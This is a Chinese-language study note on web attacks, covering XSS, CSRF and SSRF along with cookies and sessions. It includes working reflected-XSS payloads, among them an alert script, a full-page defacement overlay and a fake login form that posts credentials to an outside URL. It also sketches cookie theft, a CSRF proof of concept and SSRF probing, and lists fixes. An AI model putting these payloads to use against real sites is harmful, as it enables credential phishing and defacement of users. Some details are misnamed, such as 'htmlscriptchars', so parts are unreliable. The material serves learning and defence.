记录一下基础的知识(xss、csrf、ssrf)
xss:
跨站脚本攻击,
来自用户的不可信数据在没有验证情况下被应用,导致浏览器引擎执行了非预期代码
1,反射型: 测试一般就弹个窗,黑个网页,比如:
//弹个窗
?<html>=<script>alert(1)</script>
//挂个黑页
<table style="left:0px;top:0px;position:fixed;z-index:5000;position;absolute;width:100%;height:100%;background-color:black;"><body><tr><td><h1 >%e4%bd%a0%e8%a2%ab%e9%bb%91%e4%ba%86</h1></td></tr></body></table>
//%e4%bd%a0%e8%a2%ab%e9%bb%91%e4%ba%86是url编码,各位可以直接url解码就知道内容了
//放假的登录框
<table style="left:0px;top:0px;position:fixed;z-index:5000;position;absolute;width:100%;height:100%;background-color:white;"><tr><td><form action="http://www.baidu.com" method="post">账号:<input type="text" name="name"><br>密码:<input type="password" name="pwd"><br><input type="submit" value="登录"></form></td></tr></table>
//有的站点 这个?<html>= 不加也可以
2,存储型: (在输出点与输出点没有做限制)
非法代码被上传保存到数据库。
再从数据库中下载文件时,非法代码被浏览器引擎解析执行
3,DOM型:(文档对象模型)
不需要依赖于服务器端响应的内容,如果某些页面使用了DOM元素的属性,
攻击者就可以利用这些属性植入恶意脚本实施攻击(javascript)
危害例如:
提交留言,内容为恶意代码(可以获得cookie与网址),管理员一点击就中攻击。
4,修复:
对输入过滤,对输出编码。比如:PHP中的htmlscriptchars()函数
5,补充:
前两种XSS都会与服务器产生交互,后一种不会产生交互。
cookie:一种凭证,主要为了辨别用户和记录历史
cookie与session
1,session 在服务器端,cookie 在客户端(浏览器)
2,session 默认被存在在服务器的一个文件里(不是内存)
3,session 的运行依赖 session id,而 session id 是存在 cookie 中的,
也就是说,如果浏览器禁用了 cookie ,同时 session 也会失效
(但是可以通过其它方式实现,比如在 url 中传递 session_id)
4,session 可以放在 文件、数据库、或内存中都可以。
5,用户验证这种场合一般会用 session
简单理解:
session是锁,session id是钥匙,cookie是盒子(装session id)
CSRF: //客户端发起请求
跨站脚本伪造
利用: bp抓包修改资料的网页,生成csrfPoC,保存到一个php文件里
开头可以增加访问自己写的一个网站。
这样别人一点击这个php连接,就会被修改资料。而你这边也会收到反馈。
SSRF: //服务器发起请求,(一般作为跳板)
1,类似CSRF
多数用于攻击内网,因为一般的内网,外部IP进不去,
只能用内网服务器作为跳板。
比如探测内网IP、端口开放等等。
2,如何探测SSRF是否存在呢?
将请求网址设置为 自己写的一个php里,
如果服务器访问了,则会留下服务器的IP
3, 防范:
最暴力的方法:下线功能
最有效的方法:设置白名单